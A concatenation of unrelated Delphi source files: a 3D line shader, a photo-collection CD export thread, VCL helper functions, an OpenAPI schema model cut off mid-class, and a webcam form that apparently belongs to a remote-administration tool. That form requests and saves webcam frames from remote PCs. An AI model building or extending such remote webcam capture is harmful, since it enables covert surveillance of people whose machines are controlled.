rci.VXStates.Enable(stLineStipple);
rci.VXStates.LineStippleFactor := 1;
rci.VXStates.LineStipplePattern := Pattern;
end
else
rci.VXStates.Disable(stLineStipple);
if ForceMaterial then
begin
IgnoreMatSave := rci.ignoreMaterials;
rci.ignoreMaterials := true;
end;
end;
procedure TVXLineSettings.UnApply(var rci: TVXRenderContextInfo);
begin
if ForceMaterial then
rci.ignoreMaterials := IgnoreMatSave;
end;
procedure TVXLineSettings.SetForceMaterial(v: boolean);
begin
if FForceMaterial <> v then
begin
FForceMaterial := v;
NotifyChange(self);
end;
end;
// ------------------
// ------------------ TVXHiddenLineShader ------------------
// ------------------
constructor TVXHiddenLineShader.Create(AOwner: TComponent);
begin
inherited;
FFrontLine := TVXLineSettings.Create(self);
FBackLine := TVXLineSettings.Create(self);
FSolid := false;
FBackgroundColor := TVXColor.Create(Self);
FBackgroundColor.Initialize(clrBtnFace);
FLineSmooth := False;
FLighting := true;
FShadeModel := smDefault;
end;
destructor TVXHiddenLineShader.Destroy;
begin
FFrontLine.Free;
FBackLine.Free;
FBackgroundColor.Free;
inherited;
end;
procedure TVXHiddenLineShader.DoApply(var rci: TVXRenderContextInfo; Sender:
TObject);
begin
FPassCount := 1;
if solid then
with rci.VxStates do
begin
// draw filled front faces in first pass
PolygonMode := pmFill;
CullFaceMode := cmBack;
if FLighting then
begin
case ShadeModel of
smDefault, smSmooth: glShadeModel(GL_SMOOTH);
smFlat: glShadeModel(GL_FLAT);
end
end
else
begin
Disable(stLighting);
glColor4fv(FBackgroundColor.AsAddress); // use background color
end;
// enable and adjust polygon offset
Enable(stPolygonOffsetFill);
end
else
with rci.VxStates do
begin
Disable(stLighting);
// draw back lines in first pass
FBackLine.Apply(rci);
CullFaceMode := cmFront;
PolygonMode := pmLines;
// enable and adjust polygon offset
Enable(stPolygonOffsetLine);
end;
rci.VXStates.SetPolygonOffset(1, 2);
end;
function TVXHiddenLineShader.DoUnApply(var rci: TVXRenderContextInfo): Boolean;
procedure SetLineSmoothBlend;
begin
with rci.VxStates do
begin
LineStippleFactor := 1;
LineStipplePattern := $FFFF;
if LineSmooth then
begin
LineSmoothHint := hintNicest;
Enable(stLineSmooth);
end
else
Disable(stLineSmooth);
if LineSmooth or (FBackLine.FColor.Alpha < 1)
or (FFrontLine.FColor.Alpha < 1) then
begin
Enable(stBlend);
SetBlendFunc(bfSrcAlpha, bfOneMinusSrcAlpha);
end
else
Disable(stBlend);
end;
end;
begin
case FPassCount of
1:
with rci.VxStates do begin
// draw front line in 2nd pass
FPassCount := 2;
FBackLine.UnApply(rci);
FFrontLine.Apply(rci);
SetLineSmoothBlend;
if solid and FLighting then
Disable(stLighting);
PolygonMode := pmLines;
CullFaceMode := cmBack;
if solid then
rci.VXStates.Disable(stPolygonOffsetFill)
else
rci.VXStates.Disable(stPolygonOffsetLine);
Result := True;
end;
2:
begin
FFrontLine.UnApply(rci);
rci.VXStates.PolygonMode := pmFill;
Result := false;
end;
else
Assert(False);
Result := False;
end;
end;
procedure TVXHiddenLineShader.SetBackgroundColor(AColor: TVXColor);
begin
FBackgroundColor.Color := AColor.Color;
NotifyChange(Self);
end;
procedure TVXHiddenLineShader.SetlineSmooth(v: boolean);
begin
if FlineSmooth <> v then
begin
FlineSmooth := v;
NotifyChange(self);
end;
end;
procedure TVXHiddenLineShader.SetLighting(v: boolean);
begin
if FLighting <> v then
begin
FLighting := v;
NotifyChange(self);
end;
end;
procedure TVXHiddenLineShader.SetSolid(v: boolean);
begin
if FSolid <> v then
begin
FSolid := v;
NotifyChange(self);
end;
end;
procedure TVXHiddenLineShader.SetShadeModel(const val: TVXShadeModel);
begin
if FShadeModel <> val then
begin
FShadeModel := val;
NotifyChange(Self);
end;
end;
end.
|
unit UnitCDExportThread;
interface
uses
Windows,
Classes,
Forms,
DB,
Graphics,
ActiveX,
SysUtils,
Dmitry.CRC32,
Dmitry.Utils.Files,
UnitCDMappingSupport,
uLogger,
uConstants,
uShellIntegration,
uDBBaseTypes,
uDBForm,
uDBThread,
uMobileUtils,
uMemory,
uDBUtils,
uDBConnection,
uDBContext,
uDBManager,
uDBEntities,
uCDMappingTypes,
uTranslate,
uResourceUtils,
uDBShellUtils,
uRuntime;
type
TCDExportOptions = record
ToDirectory: string;
DeleteFiles: Boolean;
ModifyDB: Boolean;
CreatePortableDB: Boolean;
OnEnd: TNotifyEvent;
end;
type
TCDExportThread = class(TDBThread)
private
{ Private declarations }
FContext: IDBContext;
Mapping: TCDIndexMapping;
Options: TCDExportOptions;
DBRemapping: TDBFilePathArray;
DS: TDataSet;
ExtDS: TDataSet;
DBUpdated: Boolean;
CRC: Cardinal;
FRegGroups: TGroups;
FGroupsFounded: TGroups;
IntParam, CopiedSize: Int64;
StrParam: string;
ProgressWindow: TForm;
IsClosedParam: Boolean;
FOwner: TDBForm;
procedure CreateAutorunFile(Directory: string);
protected
{ Protected declarations }
procedure Execute; override;
function GetThreadID: string; override;
public
{ Public declarations }
constructor Create(Owner: TDBForm; Context: IDBContext; AMapping: TCDIndexMapping; AOptions: TCDExportOptions);
procedure DoErrorDeletingFiles;
procedure ShowError;
procedure DoOnEnd;
procedure ShowCopyError;
procedure CreatePortableDB;
procedure InitializeProgress;
procedure OnProgress(Sender: TObject; var Info: TProgressCallBackInfo);
procedure SetProgressAsynch;
procedure IfBreakOperation;
procedure DestroyProgress;
procedure SetProgressOperation;
procedure SetMaxPosition;
procedure SetPosition;
end;
implementation
uses
UnitSaveQueryThread,
ProgressActionUnit;
{ TCDExportThread }
constructor TCDExportThread.Create(Owner: TDBForm; Context: IDBContext; AMapping: TCDIndexMapping; AOptions: TCDExportOptions);
begin
inherited Create(Owner, False);
FContext := Context;
FOwner := Owner;
Mapping := AMapping;
Options := AOptions;
IsClosedParam := False;
CopiedSize := 0;
end;
procedure TCDExportThread.CreatePortableDB;
var
NewIcon: TIcon;
IcoTempName, ExeFileName: string;
Language: Integer;
begin
StrParam := IncludeTrailingBackslash(StrParam);
ExeFileName := StrParam + Mapping.CDLabel + '.exe';
CreateMobileDBFilesInDirectory(ExeFileName);
if ID_YES = MessageBoxDB(GetForegroundWindow, TA('Do you want to change the icon for the final collection?', 'Mobile'), TA('Question'),
TD_BUTTON_YESNO, TD_ICON_QUESTION) then
begin
NewIcon := TIcon.Create;
try
if GetIconForFile(NewIcon, IcoTempName, Language) then
begin
NewIcon.SaveToFile(IcoTempName);
ReplaceIcon(StrParam, PChar(IcoTempName));
if FileExistsSafe(IcoTempName) then
DeleteFile(IcoTempName);
end;
finally
F(NewIcon);
end;
end;
end;
procedure TCDExportThread.DoErrorDeletingFiles;
begin
MessageBoxDB(Handle, L('Unable to delete original files! Check if you have right to delete the files. Please try again later manually delete these files.'), L('Warning'), TD_BUTTON_OK, TD_ICON_WARNING);
end;
procedure TCDExportThread.DoOnEnd;
begin
Options.OnEnd(Self);
end;
procedure TCDExportThread.InitializeProgress;
begin
ProgressWindow := GetProgressWindow(True);
with ProgressWindow as TProgressActionForm do
begin
CanClosedByUser := True;
OneOperation := False;
OperationCount := 4;
OperationPosition := 1;
MaxPosCurrentOperation := IntParam;
XPosition := 0;
Show;
end;
end;
procedure TCDExportThread.CreateAutorunFile(Directory: string);
var
FS: TFileStream;
SW: TStreamWriter;
begin
try
FS := TFileStream.Create(Directory + Mapping.CDLabel + '\AutoRun.inf', FmOpenWrite or FmCreate);
try
SW := TStreamWriter.Create(FS);
try
SW.Write('[autorun]');
SW.WriteLine;
SW.Write('icon=' + Mapping.CDLabel + '.exe,0');
SW.WriteLine;
SW.Write('open=' + Mapping.CDLabel + '.exe');
SW.WriteLine;
finally
F(SW);
end;
finally
F(FS);
end
except
on E: Exception do
begin
EventLog(':TCDExportThread::Execute()/ExtDS.Open throw exception: ' + E.message);
StrParam := E.message;
Synchronize(ShowError);
end;
end;
end;
procedure TCDExportThread.Execute;
var
I, J: Integer;
S, Directory, DestinationCollectionPath: string;
ImageSettings: TSettings;
FDestination: IDBContext;
SettingsRSrc, SettingsRDest: ISettingsRepository;
GroupsRSrc, GroupsRDest: IGroupsRepository;
begin
inherited;
FreeOnTerminate := True;
try
CoInitializeEx(nil, COM_MODE);
try
IntParam := Mapping.GetCDSize;
Synchronize(InitializeProgress);
try
Options.ToDirectory := IncludeTrailingBackslash(Options.ToDirectory);
IntParam := 1;
Synchronize(SetProgressOperation);
if not Mapping.CreateStructureToDirectory(Options.ToDirectory, OnProgress) then
begin
Synchronize(ShowCopyError);
Exit;
end;
Mapping.PlaceMapFile(Options.ToDirectory);
CreateAutorunFile(Options.ToDirectory);
IntParam := 2;
Synchronize(SetProgressOperation);
IntParam := 0;
Synchronize(SetPosition);
if not IsClosedParam and Options.DeleteFiles then
if not Mapping.DeleteOriginalStructure(OnProgress) then
Synchronize(DoErrorDeletingFiles);
IntParam := 3;
Synchronize(SetProgressOperation);
Directory := ExtractFileDir(Options.ToDirectory);
Directory := IncludeTrailingBackslash(Directory) + Mapping.CDLabel + '\';
if not IsClosedParam and Options.CreatePortableDB then
begin
StrParam := Directory;
Synchronize(CreatePortableDB);
DestinationCollectionPath := Directory + Mapping.CDLabel + '.photodb';
if TDBManager.CreateDBbyName(DestinationCollectionPath) then
begin
FDestination := TDBContext.Create(DestinationCollectionPath);
SettingsRSrc := FContext.Settings;
SettingsRDest := FDestination.Settings;
ImageSettings := SettingsRSrc.Get;
try
SettingsRDest.Update(ImageSettings);
finally
F(ImageSettings);
end;
DBRemapping := Mapping.GetDBRemappingArray;
ExtDS := GetTable(DestinationCollectionPath, DB_TABLE_IMAGES);
try
ExtDS.Open;
except
on E: Exception do
begin
EventLog(':TCDExportThread::Execute()/ExtDS.Open throw exception: ' + E.message);
StrParam := E.message;
Synchronize(ShowError);
end;
end;
if ExtDS.Active then
begin
DS := FContext.CreateQuery;
DBUpdated := True;
IntParam := Length(DBRemapping) - 1;
Synchronize(SetMaxPosition);
for I := 0 to Length(DBRemapping) - 1 do
begin
IntParam := I;
Synchronize(SetPosition);
if IsClosedParam then
Break;
SetSQL(DS, 'Select * from $DB$ Where ID = :ID');
SetIntParam(DS, 0, DBRemapping[I].ID);
try
DS.Open;
except
Break;
end;
if DS.RecordCount = 1 then
begin
ExtDS.Append;
S := DBRemapping[I].FileName;
Delete(S, 1, Length(Mapping.CDLabel) + 5);
CopyRecordsW(DS, ExtDS, True, True, S, FGroupsFounded);
ExtDS.Post;
end;
end;
FreeDS(DS);
end;
FreeDS(ExtDS);
end;
Directory := ExtractFilePath(Options.ToDirectory);
Directory := Directory + Mapping.CDLabel + '\';
GroupsRSrc := FContext.Groups;
GroupsRDest := FDestination.Groups;
FRegGroups := GroupsRSrc.GetAll(True, True);
try
IntParam := FGroupsFounded.Count - 1;
Synchronize(SetMaxPosition);
for I := 0 to FGroupsFounded.Count - 1 do
begin
IntParam := I;
Synchronize(SetPosition);
if IsClosedParam then
Break;
for J := 0 to FRegGroups.Count - 1 do
if FRegGroups[J].GroupCode = FGroupsFounded[I].GroupCode then
begin
GroupsRDest.Add(FRegGroups[J]);
Break;
end;
end;
finally
F(FRegGroups);
end;
end;
IntParam := 4;
Synchronize(SetProgressOperation);
if not IsClosedParam and Options.ModifyDB then
begin
DBRemapping := Mapping.GetDBRemappingArray;
DS := FContext.CreateQuery;
try
DBUpdated := True;
IntParam := Length(DBRemapping) - 1;
Synchronize(SetMaxPosition);
for I := 0 to Length(DBRemapping) - 1 do
begin
IntParam := I;
Synchronize(SetPosition);
if IsClosedParam then
Break;
Directory := ExtractFileDir(DBRemapping[I].FileName);
CalcStringCRC32(AnsiLowerCase(Directory), Crc);
SetSQL(DS, 'Update $DB$ Set FFileName = :FileName, FolderCRC = :FolderCRC Where ID = :ID');
SetStrParam(DS, 0, DBRemapping[I].FileName);
SetIntParam(DS, 1, Integer(Crc));
SetIntParam(DS, 2, DBRemapping[I].ID);
try
ExecSQL(DS);
except
DBUpdated := False;
end;
end;
finally
FreeDS(DS);
end;
end;
TryRemoveConnection(DestinationCollectionPath, True);
finally
Synchronize(DestroyProgress);
end;
finally
Synchronize(DoOnEnd);
CoUninitialize;
end;
except
on E: Exception do
begin
EventLog(':TCDExportThread::Execute() throw exception: ' + E.message);
StrParam := E.message;
Synchronize(ShowError);
end;
end;
end;
function TCDExportThread.GetThreadID: string;
begin
Result := 'CDExport';
end;
procedure TCDExportThread.ShowCopyError;
begin
MessageBoxDB(FOwner.Handle, L('Unable to copy files to the final location! Check if there are write permissions to the specified directory!'), L('Warning'), TD_BUTTON_OK,
TD_ICON_WARNING);
end;
procedure TCDExportThread.ShowError;
begin
MessageBoxDB(FOwner.Handle, Format(L('An unexpected error occurred: %s'), [StrParam]), L('Error'),
TD_BUTTON_OK, TD_ICON_ERROR);
end;
procedure TCDExportThread.OnProgress(Sender: TObject; var Info: TProgressCallBackInfo);
begin
CopiedSize := CopiedSize + Info.Position;
Synchronize(SetProgressAsynch);
Info.Terminate := IsClosedParam;
end;
procedure TCDExportThread.SetProgressAsynch;
begin
with ProgressWindow as TProgressActionForm do
begin
XPosition := CopiedSize;
end;
IfBreakOperation;
end;
procedure TCDExportThread.DestroyProgress;
begin
(ProgressWindow as TProgressActionForm).WindowCanClose := True;
ProgressWindow.Release;
end;
procedure TCDExportThread.IfBreakOperation;
begin
IsClosedParam := (ProgressWindow as TProgressActionForm).Closed;
end;
procedure TCDExportThread.SetProgressOperation;
begin
(ProgressWindow as TProgressActionForm).OperationPosition := IntParam;
end;
procedure TCDExportThread.SetMaxPosition;
begin
(ProgressWindow as TProgressActionForm).MaxPosCurrentOperation := IntParam;
end;
procedure TCDExportThread.SetPosition;
begin
(ProgressWindow as TProgressActionForm).XPosition := IntParam;
end;
end.
|
unit ThVclUtils;
interface
uses
SysUtils, Messages, Classes, Controls, Forms;
function ThFindComponentByClass(inOwner: TComponent;
inClass: TClass): TComponent;
function ThFindControlByClass(inOwner: TWinControl;
inClass: TClass): TControl;
function ThFindElderComponent(inControl: TControl;
const inClass: TClass): TComponent; overload;
procedure ThFindElderComponent(out outComponent; inControl: TControl;
const inClass: TClass); overload;
procedure ThNotifyControls(inCtrl: TWinControl; Msg: Word;
wParam: Pointer = nil);
procedure ThNotifyAll(inCtrl: TWinControl; Msg: Word; wParam: Pointer = nil);
function ThIsAs(inComponent: TComponent; const inIID: TGUID;
out outObj): Boolean;
implementation
function ThFindComponentByClass(inOwner: TComponent;
inClass: TClass): TComponent;
var
i: Integer;
begin
Result := nil;
if inOwner <> nil then
for i := 0 to Pred(inOwner.ComponentCount) do
if inOwner.Components[i] is inClass then
begin
Result := inOwner.Components[i];
break;
end;
end;
function ThFindControlByClass(inOwner: TWinControl;
inClass: TClass): TControl;
var
i: Integer;
begin
Result := nil;
if inOwner <> nil then
for i := 0 to Pred(inOwner.ControlCount) do
if inOwner.Controls[i] is inClass then
begin
Result := inOwner.Controls[i];
break;
end;
end;
function ThFindParentFormOrFrame(inControl: TControl): TWinControl;
begin
Result := TWinControl(inControl);
while (Result <> nil) and not (Result is TCustomForm)
and not (Result is TCustomFrame) do
Result := TWinControl(Result.Parent);
end;
function ThFindElderComponent(inControl: TControl;
const inClass: TClass): TComponent;
var
f: TWinControl;
begin
Result := nil;
while (inControl <> nil) do
begin
f := ThFindParentFormOrFrame(inControl);
if (f = nil) then
break;
Result := ThFindComponentByClass(f, inClass);
if (Result <> nil) then
break;
inControl := f.Parent;
end;
end;
procedure ThFindElderComponent(out outComponent; inControl: TControl;
const inClass: TClass);
begin
TComponent(outComponent) := ThFindElderComponent(inControl, inClass);
end;
procedure ThNotifyControls(inCtrl: TWinControl; Msg: Word; wParam: Pointer);
var
m: TMessage;
begin
FillChar(m, SizeOf(TMessage), 0);
m.Msg := Msg;
m.wParam := Integer(wParam);
inCtrl.Broadcast(m);
end;
procedure ThNotifyAll(inCtrl: TWinControl; Msg: Word; wParam: Pointer);
var
i: Integer;
begin
ThNotifyControls(inCtrl, Msg, wParam);
with inCtrl do
for i := 0 to ControlCount - 1 do
if (Controls[i] is TWinControl) then
ThNotifyAll(TWinControl(Controls[i]), Msg, wParam);
end;
function ThIsAs(inComponent: TComponent; const inIID: TGUID;
out outObj): Boolean;
begin
with inComponent as IInterface do
Result := QueryInterface(inIID, outObj) = S_OK;
end;
end.
|
unit UnitWebcam;
interface
uses
StrUtils,Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, Buttons, StdCtrls, UnitMain, JPEG, ComCtrls, Mask, sTrackBar, sUpDown,
UnitConexao, sSkinProvider;
type
TFormWebcam = class(TForm)
ComboBox1: TComboBox;
AdvTrackBar1: TsTrackBar;
CheckBox1: TCheckBox;
Edit1: TEdit;
Image1: TImage;
Label1: TLabel;
SpeedButton1: TButton;
SpeedButton2: TButton;
UpDown1: TsUpDown;
bsSkinStdLabel1: TLabel;
bsSkinStdLabel2: TLabel;
StatusBar1: TStatusBar;
sSkinProvider1: TsSkinProvider;
procedure FormShow(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure UpDown1Change(Sender: TObject);
private
{ Private declarations }
Servidor: TConexaoNew;
ImagemAtual: integer;
ServidorTransferencia: TConexaoNew;
LastQuality, LastInterval: integer;
OriginalCaption: string;
NomePC: string;
LiberarForm: boolean;
procedure WMCloseFree(var Message: TMessage); message WM_CLOSEFREE;
procedure AtualizarIdioma;
procedure WMAtualizarIdioma(var Message: TMessage); message WM_ATUALIZARIDIOMA;
procedure CreateParams(var Params : TCreateParams); override;
public
{ Public declarations }
procedure OnRead(Recebido: String; ConAux: TConexaoNew); overload;
constructor Create(aOwner: TComponent; ConAux: TConexaoNew); overload;
end;
var
FormWebcam: TFormWebcam;
implementation
{$R *.dfm}
uses
UnitStrings,
CustomIniFiles,
UnitCommonProcedures,
UnitConstantes;
//procedure WMAtualizarIdioma(var Message: TMessage); message WM_ATUALIZARIDIOMA;
procedure TFormWebcam.WMAtualizarIdioma(var Message: TMessage);
begin
AtualizarIdioma;
end;
procedure TFormWebcam.WMCloseFree(var Message: TMessage);
begin
LiberarForm := True;
Close;
end;
//Here's the implementation of CreateParams
procedure TFormWebcam.CreateParams(var Params : TCreateParams);
begin
inherited CreateParams(Params); //Don't ever forget to do this!!!
Params.WndParent := GetDesktopWindow;
end;
constructor TFormWebcam.Create(aOwner: TComponent; ConAux: TConexaoNew);
var
TempStr: WideString;
IniFile: TIniFile;
begin
inherited Create(aOwner);
edit1.OnEnter := FormBase.MudarDeCorEnter;
edit1.OnExit := FormBase.MudarDeCorExit;
Servidor := ConAux;
NomePC := Servidor.NomeDoServidor;
TempStr := ExtractFilePath(ParamStr(0)) + 'Settings\';
ForceDirectories(TempStr);
TempStr := TempStr + NomePC + '.ini';
if FileExists(TempStr) = True then
try
IniFile := TIniFile.Create(TempStr, IniFilePassword);
Width := IniFile.ReadInteger('Webcam', 'Width', Width);
Height := IniFile.ReadInteger('Webcam', 'Height', Height);
Left := IniFile.ReadInteger('Webcam', 'Left', Left);
Top := IniFile.ReadInteger('Webcam', 'Top', Top);
AdvTrackBar1.Position := IniFile.ReadInteger('Webcam', 'Quality', AdvTrackBar1.Position);
UpDown1.Position := IniFile.ReadInteger('Webcam', 'Interval', UpDown1.Position);
IniFile.Free;
except
DeleteFile(TempStr);
end;
end;
procedure TFormWebcam.AtualizarIdioma;
begin
SpeedButton1.Caption := traduzidos[256];
SpeedButton2.Caption := traduzidos[257];
CheckBox1.Caption := traduzidos[387];
Label1.Caption := Traduzidos[480];
end;
procedure TFormWebcam.OnRead(Recebido: String; ConAux: TConexaoNew);
var
TempInt: Int64;
TempStr: string;
i: integer;
Result: TSplit;
j: TJPegImage;
Stream: TMemoryStream;
TempDir: string;
B: TBitmap;
begin
if Copy(Recebido, 1, posex('|', Recebido) - 1) = WEBCAMSTART then
begin
delete(Recebido, 1, posex('|', recebido));
SpeedButton2.Visible := True;
ServidorTransferencia := ConAux;
ServidorTransferencia.enviarString(
WEBCAMSTART + '|' +
Inttostr(100 - LastQuality) + '|' +
IntToStr(LastInterval) + '|');
end else
if Copy(Recebido, 1, posex('|', Recebido) - 1) = WEBCAMSTREAM then
begin
ServidorTransferencia := ConAux;
delete(Recebido, 1, posex('|', recebido));
if (LastQuality <> AdvTrackBar1.Position) or (LastInterval <> UpDown1.Position) then
begin
LastQuality := AdvTrackBar1.Position;
LastInterval := UpDown1.Position;
Servidor.enviarString(
WEBCAMCONFIG + '|' +
Inttostr(100 - LastQuality) + '|' +
IntToStr(LastInterval) + '|');
end;
if recebido = '' then exit;
Caption := OriginalCaption + ' --- (' + FileSizeToStr(length(Recebido)) + ')';
inc(imagematual);
StatusBar1.Panels.Items[0].Text := traduzidos[473] + ': ' + IntToStr(ImagemAtual) + ' --- (' + FileSizeToStr(length(Recebido)) + ')';
Stream := TMemoryStream.Create;
Stream.Write(Recebido[1], Length(Recebido) * 2);
Stream.Position := 0;
j := TJpegImage.Create;
j.LoadFromStream(Stream);
Stream.Free;
if Checkbox1.Checked = true then
begin
TempDir := ExtractFilePath(paramstr(0)) + 'Downloads\' + NomePC + '\WebcamImages';
ForceDirectories(TempDir);
j.savetofile(TempDir + '\' + Inttostr(GetTickCount) + '.jpg');
end;
B := tbitmap.Create;
B.Assign(j);
j.Free;
Image1.Picture.Bitmap.Assign(b);
B.Free;
Self.Refresh;
Application.ProcessMessages; // para atualizar a imagem no form...
end else
if Copy(Recebido, 1, posex('|', Recebido) - 1) = WEBCAMSTOP then
begin
Close;
end else
end;
procedure TFormWebcam.FormClose(Sender: TObject; var Action: TCloseAction);
var
TempStr: WideString;
IniFile: TIniFile;
begin
if LiberarForm then Action := caFree;
TempStr := ExtractFilePath(ParamStr(0)) + 'Settings\';
ForceDirectories(TempStr);
TempStr := TempStr + NomePC + '.ini';
try
IniFile := TIniFile.Create(TempStr, IniFilePassword);
IniFile.WriteInteger('Webcam', 'Width', Width);
IniFile.WriteInteger('Webcam', 'Height', Height);
IniFile.WriteInteger('Webcam', 'Left', Left);
IniFile.WriteInteger('Webcam', 'Top', Top);
IniFile.WriteInteger('Webcam', 'Quality', AdvTrackBar1.Position);
IniFile.WriteInteger('Webcam', 'Interval', UpDown1.Position);
IniFile.Free;
except
DeleteFile(TempStr);
end;
if Servidor = nil then exit;
if Servidor.MasterIdentification <> 1234567890 then Exit;
if ServidorTransferencia = nil then Exit;
try
if ServidorTransferencia.MasterIdentification = 1234567890 then
try
ServidorTransferencia.Connection.Disconnect;
except
end;
except
end;
end;
procedure TFormWebcam.FormCreate(Sender: TObject);
begin
Self.Left := (screen.width - Self.width) div 2 ;
Self.top := (screen.height - Self.height) div 2;
DoubleBuffered := true;
end;
procedure TFormWebcam.FormShow(Sender: TObject);
begin
AtualizarIdioma;
StatusBar1.Panels.Items[0].Text := '';
ImagemAtual := 0;
LastQuality := AdvTrackBar1.Position;
LastInterval := UpDown1.Position;
OriginalCaption := Caption;
ServidorTransferencia := nil;
speedbutton2.Visible := false;
speedbutton1.Visible := true;
ComboBox1.ItemIndex := 0;
CheckBox1.Checked := False;
if FormMain.Timer2.Enabled = true then
begin
if not FormMain.AutoWebcam then speedbutton1Click(speedbutton1);
Checkbox1.Checked := true;
end;
if FormMain.AutoWebcam then
begin
if ComboBox1.Items.Count <= 0 then ComboBox1.Items.Add('"Default"');
speedbutton1Click(speedbutton1);
end;
Edit1.Text := IntToStr(UpDown1.Position);
end;
procedure TFormWebcam.SpeedButton1Click(Sender: TObject);
begin
LastQuality := AdvTrackBar1.Position;
LastInterval := UpDown1.Position;
speedbutton1.Visible := false;
speedbutton2.Visible := false;
Servidor.enviarString(WEBCAM + '|' + IntToStr(ComboBox1.ItemIndex));
ImagemAtual := 0;
StatusBar1.Panels.Items[0].Text := traduzidos[205];
end;
procedure TFormWebcam.SpeedButton2Click(Sender: TObject);
begin
SpeedButton2.Visible := false;
SpeedButton1.Visible := true;
if ServidorTransferencia <> nil then
try
if ServidorTransferencia.MasterIdentification = 1234567890 then
try
ServidorTransferencia.Connection.Disconnect;
except
end;
except
end;
StatusBar1.Panels.Items[0].Text := '';
end;
procedure TFormWebcam.UpDown1Change(Sender: TObject);
begin
Edit1.Text := IntToStr(UpDown1.Position);
end;
end.
|
{******************************************************************************}
{ }
{ Delphi OpenAPI 3.0 Generator }
{ Copyright (c) 2018-2021 Paolo Rossi }
{ https://github.com/paolo-rossi/delphi-openapi }
{ }
{******************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{******************************************************************************}
unit OpenAPI.Model.Schema;
interface
uses
System.Classes, System.Generics.Collections, System.JSON, System.Rtti,
Neon.Core.Attributes,
Neon.Core.Nullables,
OpenAPI.Model.Any,
OpenAPI.Model.Base,
OpenAPI.Model.Reference;
type
TOpenAPIDiscriminator = class
private
FPropertyName: NullString;
FMapping: TDictionary<string, string>;
public
constructor Create;
destructor Destroy; override;
/// <summary>
/// REQUIRED. The name of the property in the payload that will hold the discriminator value.
/// </summary>
property PropertyName: NullString read FPropertyName write FPropertyName;
/// <summary>
/// An object to hold mappings between payload values and schema names or references.
/// </summary>
[NeonInclude(IncludeIf.NotEmpty)]
property Mapping: TDictionary<string, string> read FMapping write FMapping;
end;
TOpenAPISchemaBase = class
protected
FType_: NullString;
FTitle: NullString;
FDescription: NullString;
FFormat: NullString;
public
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// While relying on JSON Schema's defined formats,
/// the OAS offers a few additional predefined formats.
/// </summary>
property Format: NullString read FFormat write FFormat;
/// <summary>
/// Follow JSON Schema definition. Short text providing information about the data.
/// </summary>
property Title: NullString read FTitle write FTitle;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// Value MUST be a string. Multiple types via an array are not supported.
/// </summary>
[NeonProperty('type')]
property Type_: NullString read FType_ write FType_;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// CommonMark syntax MAY be used for rich text representation.
/// </summary>
property Description: NullString read FDescription write FDescription;
end;
TOpenAPISchema = class(TOpenAPIModelReference)
private
FFormat: NullString;
FTitle: NullString;
FType_: NullString;
FDescription: NullString;
FMaximum: NullDouble;
FExclusiveMaximum: NullBoolean;
FMinimum: NullDouble;
FExclusiveMinimum: NullBoolean;
FMaxLength: NullInteger;
FMinLength: NullInteger;
FPattern: NullString;
FMultipleOf: NullDouble;
FReadOnly_: NullBoolean;
FWriteOnly_: NullBoolean;
FAllOf: TObjectList<TOpenAPISchema>;
FOneOf: TObjectList<TOpenAPISchema>;
FAnyOf: TObjectList<TOpenAPISchema>;
FNot_: TOpenAPISchema;
FRequired: TArray<string>;
FItems: TOpenAPISchema;
FMaxItems: NullInteger;
FMinItems: NullInteger;
FUniqueItems: NullBoolean;
FProperties: TObjectDictionary<string, TOpenAPISchema>;
FMaxProperties: NullInteger;
FMinProperties: NullInteger;
FAdditionalPropertiesAllowed: NullBoolean;
FAdditionalProperties: TOpenAPISchema;
FNullable: NullBoolean;
FUnresolvedReference: NullBoolean;
FReference: TOpenAPIReference;
FDefault_: TOpenAPISchema;
FEnum: TOpenAPIAny;
FDiscriminator: TOpenAPIDiscriminator;
FJSONObject: TJSONObject;
public
constructor Create;
destructor Destroy; override;
public
function AddProperty(const AKeyName: string): TOpenAPISchema;
procedure SetJSONObject(AJSON: TJSONObject);
procedure SetSchemaReference(const AReference: string);
//procedure SetSchemaJSON(const AReference: string); overload;
[NeonIgnore]
property JSONObject: TJSONObject read FJSONObject write FJSONObject;
public
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// While relying on JSON Schema's defined formats,
/// the OAS offers a few additional predefined formats.
/// </summary>
property Format: NullString read FFormat write FFormat;
/// <summary>
/// Follow JSON Schema definition. Short text providing information about the data.
/// </summary>
property Title: NullString read FTitle write FTitle;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// Value MUST be a string. Multiple types via an array are not supported.
/// </summary>
[NeonProperty('type')]
property Type_: NullString read FType_ write FType_;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// CommonMark syntax MAY be used for rich text representation.
/// </summary>
property Description: NullString read FDescription write FDescription;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property Maximum: NullDouble read FMaximum write FMaximum;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property ExclusiveMaximum: NullBoolean read FExclusiveMaximum write FExclusiveMaximum;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property Minimum: NullDouble read FMinimum write FMinimum;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property ExclusiveMinimum: NullBoolean read FExclusiveMinimum write FExclusiveMinimum;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
